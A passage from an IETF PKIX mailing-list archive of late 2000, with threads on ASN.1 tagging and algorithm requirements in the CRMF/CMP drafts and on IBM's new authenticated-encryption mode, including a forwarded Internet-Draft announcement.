Function (SHA-1 recommended) > iterationCount INTEGER, > -- number of times the OWF is applied > mac AlgorithmIdentifier > -- the MAC AlgId (e.g., DES-MAC, Triple-DES-MAC [PKCS11], >} -- or HMAC [RFC2104, RFC2202]) > >However, at the end of that very section, is this statement: > > The AlgorithmIdentifier for owf SHALL be SHA-1 {1 3 14 3 2 26} and > for mac SHALL be HMAC-SHA1 {1 3 6 1 5 5 8 1 2}. > >So why, in the comments, is SHA-1 "recommended", and numerous examples are >given for mac? > >Jeff > >-------------------------------------------------------------------------- > > >Jeff Jacoby phone: (650) 295-7569 >Sr. Developer email: jjacoby@rsasecurity.com > > >RSA Security, SMDC >2755 Campus Drive, Suite 300 >San Mateo, CA 94403 > > > > > > > >-----Original Message----- >From: Carlisle Adams [ mailto:carlisle.adams@entrust.com > ] >Sent: Thursday, November 30, 2000 12:51 PM >To: 'Ari Kermaier' >Cc: ietf-pkix@imc.org >Subject: RE: draft-ietf-pkix-rfc2511bis-00 > > > >Hi Ari, > >RFC 2511 (and therefore rfc2511bis-00.txt) has the definitive syntax (the >section in 2510 discusses semantic interpretation). Therefore, publicKeyMAC >is untagged. I will try to remember to remove the tag from rfc2510bis as it >progresses. > >Thanks for noticing this! > >Carlisle. > > > ---------- >From: Ari Kermaier[SMTP:arik@phaos.com] >Sent: Thursday, November 30, 2000 2:20 PM >To: ietf-pkix@imc.org >Subject: RE: draft-ietf-pkix-rfc2511bis-00 > > A question of ASN.1 in CRMF: > > draft-ietf-pkix-rfc2511bis-00 Section 4.4 has: > > POPOSigningKeyInput ::= SEQUENCE { > authInfo CHOICE { > sender [0] GeneralName, > -- used only if an authenticated identity has been > -- established for the sender (e.g., a DN from a > -- previously-issued and currently-valid certificate) > publicKeyMAC PKMACValue }, > -- used if no authenticated GeneralName currently exists for > -- the sender; publicKeyMAC contains a password-based MAC > -- on the DER-encoded value of publicKey > publicKey SubjectPublicKeyInfo } -- from CertTemplate > > draft-ietf-pkix-rfc2510bis-01 Section 3.2.8 has: > > POPOSigningKeyInput ::= SEQUENCE { > authInfo CHOICE { > sender [0] GeneralName, > -- from PKIHeader (used only if an authenticated identity > -- has been established for the sender (e.g., a DN from a > -- previously-issued and currently-valid certificate)) > publicKeyMAC [1] PKMACValue > -- used if no authenticated GeneralName currently exists for > -- the sender; publicKeyMAC contains a password-based MAC > -- (using the protectionAlg AlgId from PKIHeader) on the > -- DER-encoded value of publicKey > }, > publicKey SubjectPublicKeyInfo -- from CertTemplate > } > > So -- is the publicKeyMAC choice tagged or not? > > Ari Kermaier From owner-ietf-pkix@imc.org Fri Dec 1 15:39:56 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA16841 for ; Fri, 1 Dec 2000 15:39:56 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA25802; Fri, 1 Dec 2000 12:36:42 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 1 Dec 2000 12:36:28 -0800 Received: from SOTTMXS01.entrust.com (gatekeeper.entrust.com [204.101.128.170]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA25751 for ; Fri, 1 Dec 2000 12:36:20 -0800 (PST) Received: by SOTTMXS01.entrust.com with Internet Mail Service (5.5.2650.21) id ; Fri, 1 Dec 2000 15:38:17 -0500 Message-ID: From: Carlisle Adams To: "Jacoby, Jeffrey" , "'Ari Kermaier'" Cc: ietf-pkix@imc.org Subject: RE: draft-ietf-pkix-rfc2511bis-00 Date: Fri, 1 Dec 2000 15:38:02 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C05BD6.996FBDE0" Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C05BD6.996FBDE0 Content-Type: text/plain; charset="iso-8859-1" Hi Ari, > ---------- > From: Ari Kermaier[SMTP:arik@phaos.com] > Sent: Friday, December 01, 2000 2:35 PM > To: Jacoby, Jeffrey; ietf-pkix@imc.org > Subject: RE: draft-ietf-pkix-rfc2511bis-00 > > Jeff, > > I understood this to mean that the PasswordBaseMac algorithm defined here > (and its attendant PMBParameter) can be be used in general to support any > appropriate OWF and/or MAC algorithm, but SHA-1 and HMAC-SHA1 are mandated > > for use within CMP/CRMF. > > But that's just my opinion, I could be wrong. :-) It's a great opinion, and you could be right... :-) Yes, this is what was intended. Again, remember that "mandatory" in the IETF sense simply means "must be supported for compliance and guaranteed interoperability purposes". You are never prohibited from supporting other things as well and, in fact, using those other choices as your default operational algorithms. Carlisle. > Ari > > >Hi, > > > >Another thing that would be nice to clear up in > >draft-ietf-pkix-rfc2511bis-00.txt > >is the comments on PBMParameter. In section 4.4.1 (and also in Appendix > C) > >is > >this: > > > >PBMParameter ::= SEQUENCE { > > salt OCTET STRING, > > owf AlgorithmIdentifier, > > -- AlgId for a One-Way Function (SHA-1 recommended) > > iterationCount INTEGER, > > -- number of times the OWF is applied > > mac AlgorithmIdentifier > > -- the MAC AlgId (e.g., DES-MAC, Triple-DES-MAC [PKCS11], > >} -- or HMAC [RFC2104, RFC2202]) > > > >However, at the end of that very section, is this statement: > > > > The AlgorithmIdentifier for owf SHALL be SHA-1 {1 3 14 3 2 26} and > > for mac SHALL be HMAC-SHA1 {1 3 6 1 5 5 8 1 2}. > > > >So why, in the comments, is SHA-1 "recommended", and numerous examples > are > >given for mac? > > > >Jeff > > > >------------------------------------------------------------------------- > - > > > > > >Jeff Jacoby phone: (650) 295-7569 > >Sr. Developer email: jjacoby@rsasecurity.com > > > > > >RSA Security, SMDC > >2755 Campus Drive, Suite 300 > >San Mateo, CA 94403 > > > > > > > > > > > > > > > >-----Original Message----- > >From: Carlisle Adams [ mailto:carlisle.adams@entrust.com > > ] > >Sent: Thursday, November 30, 2000 12:51 PM > >To: 'Ari Kermaier' > >Cc: ietf-pkix@imc.org > >Subject: RE: draft-ietf-pkix-rfc2511bis-00 > > > > > > > >Hi Ari, > > > >RFC 2511 (and therefore rfc2511bis-00.txt) has the definitive syntax (the > >section in 2510 discusses semantic interpretation). Therefore, > publicKeyMAC > >is untagged. I will try to remember to remove the tag from rfc2510bis as > it > >progresses. > > > >Thanks for noticing this! > > > >Carlisle. > > > > > > ---------- > >From: Ari Kermaier[SMTP:arik@phaos.com] > >Sent: Thursday, November 30, 2000 2:20 PM > >To: ietf-pkix@imc.org > >Subject: RE: draft-ietf-pkix-rfc2511bis-00 > > > > A question of ASN.1 in CRMF: > > > > draft-ietf-pkix-rfc2511bis-00 Section 4.4 has: > > > > POPOSigningKeyInput ::= SEQUENCE { > > authInfo CHOICE { > > sender [0] GeneralName, > > -- used only if an authenticated identity has been > > -- established for the sender (e.g., a DN from a > > -- previously-issued and currently-valid certificate) > > publicKeyMAC PKMACValue }, > > -- used if no authenticated GeneralName currently exists for > > -- the sender; publicKeyMAC contains a password-based MAC > > -- on the DER-encoded value of publicKey > > publicKey SubjectPublicKeyInfo } -- from CertTemplate > > > > draft-ietf-pkix-rfc2510bis-01 Section 3.2.8 has: > > > > POPOSigningKeyInput ::= SEQUENCE { > > authInfo CHOICE { > > sender [0] GeneralName, > > -- from PKIHeader (used only if an authenticated identity > > -- has been established for the sender (e.g., a DN from a > > -- previously-issued and currently-valid certificate)) > > publicKeyMAC [1] PKMACValue > > -- used if no authenticated GeneralName currently exists > for > > -- the sender; publicKeyMAC contains a password-based MAC > > -- (using the protectionAlg AlgId from PKIHeader) on the > > -- DER-encoded value of publicKey > > }, > > publicKey SubjectPublicKeyInfo -- from > CertTemplate > > } > > > > So -- is the publicKeyMAC choice tagged or not? > > > > Ari Kermaier > ------_=_NextPart_001_01C05BD6.996FBDE0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: draft-ietf-pkix-rfc2511bis-00

Hi = Ari,

    ----------
    From:   = Ari = Kermaier[SMTP:arik@phaos.com]
    Sent:   = Friday, December 01, 2000 2:35 = PM
    To: =     Jacoby, = Jeffrey; ietf-pkix@imc.org
    Subject: =        RE: draft-ietf-pkix-rfc2511bis-00

    Jeff,

    I understood this to mean that the = PasswordBaseMac algorithm defined here
    (and its attendant PMBParameter) can = be be used in general to support any
    appropriate OWF and/or MAC algorithm, = but SHA-1 and HMAC-SHA1 are mandated
    for use within CMP/CRMF.

    But that's just my opinion, I could be = wrong. :-)

 
It's a = great opinion, and you could be right...  :-)

Yes, this = is what was intended.  Again, remember that "mandatory" = in the IETF sense simply means "must be supported for compliance = and guaranteed interoperability purposes".  You are never = prohibited from supporting other things as well and, in fact, using = those other choices as your default operational algorithms.

Carlisle.

    Ari

    >Hi,
    >
    >Another thing that would be nice = to clear up in
    >draft-ietf-pkix-rfc2511bis-00.txt
    >is the comments on = PBMParameter.  In section 4.4.1 (and also in Appendix C)
    >is
    >this:
    >
    >PBMParameter ::=3D SEQUENCE = {
    >   = salt           &n= bsp;    OCTET STRING,
    >   = owf           &nb= sp;     AlgorithmIdentifier,
    >   -- AlgId for a = One-Way Function (SHA-1 recommended)
    >   = iterationCount      INTEGER,
    >   -- number of times = the OWF is applied
    >   = mac           &nb= sp;     AlgorithmIdentifier
    >   -- the MAC AlgId = (e.g., DES-MAC, Triple-DES-MAC [PKCS11],
    >} -- or HMAC [RFC2104, = RFC2202])
    >
    >However, at the end of that very = section, is this statement:
    >
    >   The = AlgorithmIdentifier for owf SHALL be SHA-1 {1 3 14 3 2 26} and
    >   for mac SHALL be = HMAC-SHA1 {1 3 6 1 5 5 8 1 2}.
    >
    >So why, in the comments, is SHA-1 = "recommended", and numerous examples are
    >given for mac?
    >
    >Jeff
    >
    >-----------------------------------------------------= ---------------------
    >
    >
    >Jeff = Jacoby         phone: (650) = 295-7569
    >Sr. = Developer       email: = jjacoby@rsasecurity.com
    ><mailto:jjacoby@rsasecurity.com>
    >
    >RSA Security, SMDC
    >2755 Campus Drive, Suite = 300
    >San Mateo, CA 94403
    >
    >
    >
    >
    >
    >
    >
    >-----Original Message-----
    >From: Carlisle Adams [ =     mailto:carlisle.adams@entrust= .com
    ><mailto:carlisle.adams@entrust= .com> ]
    >Sent: Thursday, November 30, 2000 = 12:51 PM
    >To: 'Ari Kermaier'
    >Cc: ietf-pkix@imc.org = <mailto:ietf-pkix@imc.org>
    >Subject: RE: = draft-ietf-pkix-rfc2511bis-00
    >
    >
    >
    >Hi Ari,
    >
    >RFC 2511 (and therefore = rfc2511bis-00.txt) has the definitive syntax (the
    >section in 2510 discusses = semantic interpretation).  Therefore, publicKeyMAC
    >is untagged.  I will try to = remember to remove the tag from rfc2510bis as it
    >progresses.
    >
    >Thanks for noticing this!
    >
    >Carlisle.
    >
    >
    >         = ----------
    >From:   Ari = Kermaier[SMTP:arik@phaos.com]
    >Sent:   Thursday, = November 30, 2000 2:20 PM
    >To:     = ietf-pkix@imc.org
    >Subject:        = RE: draft-ietf-pkix-rfc2511bis-00
    >
    >         A = question of ASN.1 in CRMF:
    >
    >         = draft-ietf-pkix-rfc2511bis-00 Section 4.4 has:
    >
    >         = ;    POPOSigningKeyInput ::=3D SEQUENCE {
    >         = authInfo          &nbs= p; CHOICE {
    >         = ;    = sender           =    [0] GeneralName,
    >         = ;    -- used only if an authenticated identity has = been
    >         = ;    -- established for the sender (e.g., a DN from = a
    >         = ;    -- previously-issued and currently-valid = certificate)
    >         = ;    = publicKeyMAC        PKMACValue = },
    >         = ;    -- used if no authenticated GeneralName currently = exists for
    >         = ;    -- the sender; publicKeyMAC contains a = password-based MAC
    >         = ;    -- on the DER-encoded value of publicKey
    >         = publicKey           = SubjectPublicKeyInfo }  -- from CertTemplate
    >
    >         = draft-ietf-pkix-rfc2510bis-01 Section 3.2.8 has:
    >
    >         = ;      POPOSigningKeyInput ::=3D SEQUENCE = {
    >         = ;  = authInfo          &nbs= p; CHOICE {
    >         = ;      = sender           =    [0] GeneralName,
    >         = ;      -- from PKIHeader (used only if an = authenticated identity
    >         = ;      -- has been established for the sender = (e.g., a DN from a
    >         = ;      -- previously-issued and = currently-valid certificate))
    >         = ;      = publicKeyMAC        [1] = PKMACValue
    >         = ;      -- used if no authenticated GeneralName = currently exists for
    >         = ;      -- the sender; publicKeyMAC contains a = password-based MAC
    >         = ;      -- (using the protectionAlg AlgId from = PKIHeader) on the
    >         = ;      -- DER-encoded value of = publicKey
    >         = ;  },
    >         = ;  = publicKey           = SubjectPublicKeyInfo    -- from CertTemplate
    >       }
    >
    >         So = -- is the publicKeyMAC choice tagged or not?
    >
    >         Ari = Kermaier

------_=_NextPart_001_01C05BD6.996FBDE0-- From owner-ietf-pkix@imc.org Fri Dec 1 17:12:20 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA05145 for ; Fri, 1 Dec 2000 17:12:19 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id OAA01482; Fri, 1 Dec 2000 14:09:45 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 1 Dec 2000 14:09:34 -0800 Received: from tholian.securitydynamics.com (tholian.securid.com [204.167.112.129]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id OAA01450 for ; Fri, 1 Dec 2000 14:09:31 -0800 (PST) Received: from sdtihq24.securitydynamics.com by tholian.securitydynamics.com via smtpd (for mail.imc.org [208.184.76.43]) with SMTP; 1 Dec 2000 22:11:01 UT Received: from exrsa01.rsa.com (exrsa01.securitydynamics.com [10.81.217.7]) by sdtihq24.securid.com (Pro-8.9.3/Pro-8.9.3) with ESMTP id RAA09084 for ; Fri, 1 Dec 2000 17:11:04 -0500 (EST) Received: by exrsa01.rsa.com with Internet Mail Service (5.5.2650.21) id ; Fri, 1 Dec 2000 14:02:37 -0800 Message-ID: From: "Jacoby, Jeffrey" To: "'ietf-pkix@imc.org'" Subject: RE: draft-ietf-pkix-rfc2511bis-00 Date: Fri, 1 Dec 2000 14:02:35 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Carlisle, Ari, Thanks guys. Clears up it up very nicely for me! [ I'm still getting used to RFC-speak :-) ] Jeff -----Original Message----- From: Carlisle Adams [mailto:carlisle.adams@entrust.com] Sent: Friday, December 01, 2000 12:38 PM To: Jacoby, Jeffrey; 'Ari Kermaier' Cc: ietf-pkix@imc.org Subject: RE: draft-ietf-pkix-rfc2511bis-00 Hi Ari, ---------- From: Ari Kermaier[SMTP:arik@phaos.com] Sent: Friday, December 01, 2000 2:35 PM To: Jacoby, Jeffrey; ietf-pkix@imc.org Subject: RE: draft-ietf-pkix-rfc2511bis-00 Jeff, I understood this to mean that the PasswordBaseMac algorithm defined here (and its attendant PMBParameter) can be be used in general to support any appropriate OWF and/or MAC algorithm, but SHA-1 and HMAC-SHA1 are mandated for use within CMP/CRMF. But that's just my opinion, I could be wrong. :-) It's a great opinion, and you could be right... :-) Yes, this is what was intended. Again, remember that "mandatory" in the IETF sense simply means "must be supported for compliance and guaranteed interoperability purposes". You are never prohibited from supporting other things as well and, in fact, using those other choices as your default operational algorithms. Carlisle. Ari >Hi, > >Another thing that would be nice to clear up in >draft-ietf-pkix-rfc2511bis-00.txt >is the comments on PBMParameter. In section 4.4.1 (and also in Appendix C) >is >this: > >PBMParameter ::= SEQUENCE { > salt OCTET STRING, > owf AlgorithmIdentifier, > -- AlgId for a One-Way Function (SHA-1 recommended) > iterationCount INTEGER, > -- number of times the OWF is applied > mac AlgorithmIdentifier > -- the MAC AlgId (e.g., DES-MAC, Triple-DES-MAC [PKCS11], >} -- or HMAC [RFC2104, RFC2202]) > >However, at the end of that very section, is this statement: > > The AlgorithmIdentifier for owf SHALL be SHA-1 {1 3 14 3 2 26} and > for mac SHALL be HMAC-SHA1 {1 3 6 1 5 5 8 1 2}. > >So why, in the comments, is SHA-1 "recommended", and numerous examples are >given for mac? > >Jeff > >-------------------------------------------------------------------------- > > >Jeff Jacoby phone: (650) 295-7569 >Sr. Developer email: jjacoby@rsasecurity.com >< mailto:jjacoby@rsasecurity.com > > >RSA Security, SMDC >2755 Campus Drive, Suite 300 >San Mateo, CA 94403 > > > > > > > >-----Original Message----- >From: Carlisle Adams [ mailto:carlisle.adams@entrust.com >< mailto:carlisle.adams@entrust.com > ] >Sent: Thursday, November 30, 2000 12:51 PM >To: 'Ari Kermaier' >Cc: ietf-pkix@imc.org < mailto:ietf-pkix@imc.org > >Subject: RE: draft-ietf-pkix-rfc2511bis-00 > > > >Hi Ari, > >RFC 2511 (and therefore rfc2511bis-00.txt) has the definitive syntax (the >section in 2510 discusses semantic interpretation). Therefore, publicKeyMAC >is untagged. I will try to remember to remove the tag from rfc2510bis as it >progresses. > >Thanks for noticing this! > >Carlisle. > > > ---------- >From: Ari Kermaier[SMTP:arik@phaos.com] >Sent: Thursday, November 30, 2000 2:20 PM >To: ietf-pkix@imc.org >Subject: RE: draft-ietf-pkix-rfc2511bis-00 > > A question of ASN.1 in CRMF: > > draft-ietf-pkix-rfc2511bis-00 Section 4.4 has: > > POPOSigningKeyInput ::= SEQUENCE { > authInfo CHOICE { > sender [0] GeneralName, > -- used only if an authenticated identity has been > -- established for the sender (e.g., a DN from a > -- previously-issued and currently-valid certificate) > publicKeyMAC PKMACValue }, > -- used if no authenticated GeneralName currently exists for > -- the sender; publicKeyMAC contains a password-based MAC > -- on the DER-encoded value of publicKey > publicKey SubjectPublicKeyInfo } -- from CertTemplate > > draft-ietf-pkix-rfc2510bis-01 Section 3.2.8 has: > > POPOSigningKeyInput ::= SEQUENCE { > authInfo CHOICE { > sender [0] GeneralName, > -- from PKIHeader (used only if an authenticated identity > -- has been established for the sender (e.g., a DN from a > -- previously-issued and currently-valid certificate)) > publicKeyMAC [1] PKMACValue > -- used if no authenticated GeneralName currently exists for > -- the sender; publicKeyMAC contains a password-based MAC > -- (using the protectionAlg AlgId from PKIHeader) on the > -- DER-encoded value of publicKey > }, > publicKey SubjectPublicKeyInfo -- from CertTemplate > } > > So -- is the publicKeyMAC choice tagged or not? > > Ari Kermaier From owner-ietf-pkix@imc.org Sat Dec 2 12:21:52 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA14202 for ; Sat, 2 Dec 2000 12:21:52 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA11262; Sat, 2 Dec 2000 09:19:15 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Sat, 2 Dec 2000 09:18:18 -0800 Received: from mailc.telia.com (mailc.telia.com [194.22.190.4]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA11182 for ; Sat, 2 Dec 2000 09:18:17 -0800 (PST) Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241]) by mailc.telia.com (8.11.0/8.11.0) with ESMTP id eB2HK0A17002; Sat, 2 Dec 2000 18:20:00 +0100 (CET) Received: from mega (t3o69p109.telia.com [62.20.145.109]) by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eB2HJxo08131; Sat, 2 Dec 2000 18:19:59 +0100 (CET) Message-ID: <000b01c05c83$e4af9fc0$0201a8c0@vincent.se> From: "Anders Rundgren" To: "PKIX-List" Subject: New IBM algorithm encrypts and authenticates simultaneously Date: Sat, 2 Dec 2000 18:18:29 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id JAA11183 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 8bit http://www.research.ibm.com/resources/news/20001130_security_tech.html From owner-ietf-pkix@imc.org Sat Dec 2 13:17:39 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA20311 for ; Sat, 2 Dec 2000 13:17:38 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA14988; Sat, 2 Dec 2000 10:15:21 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Sat, 2 Dec 2000 10:15:07 -0800 Received: from janus.hosting4u.net (janus.hosting4u.net [209.15.2.37]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA14950 for ; Sat, 2 Dec 2000 10:15:05 -0800 (PST) Received: (qmail 3099 invoked from network); 2 Dec 2000 18:16:42 -0000 Received: from taurus.hosting4u.net (209.15.2.33) by mail-gate.hosting4u.net with SMTP; 2 Dec 2000 18:16:42 -0000 Received: from nma.com ([63.204.17.82]) by taurus.hosting4u.net ; Sat, 02 Dec 2000 12:16:39 -0600 Message-ID: <3A293BF7.3585EAF1@nma.com> Date: Sat, 02 Dec 2000 10:14:15 -0800 From: Ed Gerck X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: Anders Rundgren CC: PKIX-List Subject: not first, Re: New IBM algorithm encrypts and authenticates simultaneously References: <000b01c05c83$e4af9fc0$0201a8c0@vincent.se> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit It is not true that IBM's was the first algorithm to simultaneously encrypt and certify information. At least my own DVC algorithm, patent pending and used in public official trials of Internet voting this October in California, also encrypts and certifies in the same operation *and* token. The information is available at www.safevote.com -- a licensee of the technology. Cheers, Ed Gerck Anders Rundgren wrote: > http://www.research.ibm.com/resources/news/20001130_security_tech.html From owner-ietf-pkix@imc.org Sun Dec 3 08:04:35 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA10121 for ; Sun, 3 Dec 2000 08:04:35 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id FAA25439; Sun, 3 Dec 2000 05:01:58 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Sun, 3 Dec 2000 05:01:25 -0800 Received: from iaik.tu-graz.ac.at (excalibur.iaik.tu-graz.ac.at [129.27.152.30]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id FAA25374 for ; Sun, 3 Dec 2000 05:01:23 -0800 (PST) Received: from PLIPPA [129.27.152.34] by iaik.tu-graz.ac.at (SMTPD32-6.00) id A47FBF90086; Sun, 03 Dec 2000 14:02:55 +0100 From: "Peter Lipp" To: "Ed Gerck" , "Anders Rundgren" Cc: "PKIX-List" Subject: AW: not first, Re: New IBM algorithm encrypts and authenticates simultaneously Date: Sun, 3 Dec 2000 14:03:46 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <3A293BF7.3585EAF1@nma.com> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit >It is not true that IBM's was the first algorithm to simultaneously >encrypt and certify information. All they claim is they were the first doing it in half the time :-) >>New algorithm first to perform encryption and authentication simultaneously in half the time Is there any pointer to a more technical description of that? Peter From owner-ietf-pkix@imc.org Sun Dec 3 09:55:34 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA18194 for ; Sun, 3 Dec 2000 09:55:33 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id GAA03425; Sun, 3 Dec 2000 06:53:07 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Sun, 3 Dec 2000 06:52:47 -0800 Received: from dc-mx06.cluster0.hsacorp.net ([209.225.8.16]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id GAA03371 for ; Sun, 3 Dec 2000 06:52:46 -0800 (PST) Received: from [24.216.106.38] (HELO hwclg18) by dc-mx06.cluster0.hsacorp.net (CommuniGate Pro SMTP 3.4b1) with SMTP id 13347162; Sun, 03 Dec 2000 07:53:47 -0700 From: "David Carman" To: "Peter Lipp" Cc: "PKIX-List" Subject: RE: not first, Re: New IBM algorithm encrypts and authenticates simultaneously Date: Sun, 3 Dec 2000 09:54:22 -0500 Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0366_01C05D0F.03C66480" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe This is a multi-part message in MIME format. ------=_NextPart_000_0366_01C05D0F.03C66480 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I believe the attached draft corresponds to the marketing/news. FYI - DWC > -----Original Message----- > From: Peter Lipp [mailto:plippml@iaik.at] > Sent: Sunday, December 03, 2000 8:04 AM > To: Ed Gerck; Anders Rundgren > Cc: PKIX-List > Subject: AW: not first, Re: New IBM algorithm encrypts and > authenticates simultaneously > > > >It is not true that IBM's was the first algorithm to > >simultaneously encrypt and certify information. > > All they claim is they were the first doing it in half the time :-) > > >>New algorithm first to perform encryption and authentication > simultaneously in half the time > > Is there any pointer to a more technical description of that? > > Peter -----BEGIN PGP SIGNATURE----- Version: PGP 7.0 iQA/AwUBOipemeJejw5U8dD6EQLY1wCgnd+Tn7XDRLKWbk2vg0i6LhxRc5IAn0OP eaq/5sJKLa1xIlVkRde68A1q =wFnH -----END PGP SIGNATURE----- ------=_NextPart_000_0366_01C05D0F.03C66480 Content-Type: message/rfc822 Content-Disposition: attachment Reply-To: From: Sender: To: Subject: I-D ACTION:draft-jutla-ietf-ipsec-esp-iapm-00.txt Date: Wed, 22 Nov 2000 06:04:08 -0500 Message-ID: <200011221104.GAA19735@ietf.org> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0363_01C05D0F.039BAB00" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal This is a multi-part message in MIME format. ------=_NextPart_000_0363_01C05D0F.039BAB00 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 A New Internet-Draft is available from the on-line Internet-Drafts directories. Title : A Parallelizable Authenticated Encryption Algorithm for IPsec Author(s) : C. Jutla Filename : draft-jutla-ietf-ipsec-esp-iapm-00.txt Pages : 11 Date : 21-Nov-00 This document describes a new authenticated encryption mode of operation of block ciphers called 'Integrity Aware Parallelizable Mode (IAPM)' which is simple, efficient, highly parallelizable, and provably secure. One of the main features distinguishing the new mode (IAPM) from existing modes is that along with providing confidentiality of the payload, the new mode also pro- vides authenticity of the payload. This is particularly relevant to the ESP security protocol of IPsec. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-jutla-ietf-ipsec-esp-iapm-00 .txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-jutla-ietf-ipsec-esp-iapm-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-jutla-ietf-ipsec-esp-iapm-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. -----BEGIN PGP SIGNATURE----- Version: PGP 7.0 iQA/AwUBOipemuJejw5U8dD6EQKo0QCgm+zpGcfAQ0Md+IaALFfRad+fOSEAniMV gVSOG3yFxaw1k20P84/cZkHX =kn/F -----END PGP SIGNATURE----- ------=_NextPart_000_0363_01C05D0F.039BAB00 Content-Type: Message/External-body; name="ATT01106.dat" Content-Disposition: attachment; filename="ATT01106.dat" Content-Transfer-Encoding: 7bit Content-Type: 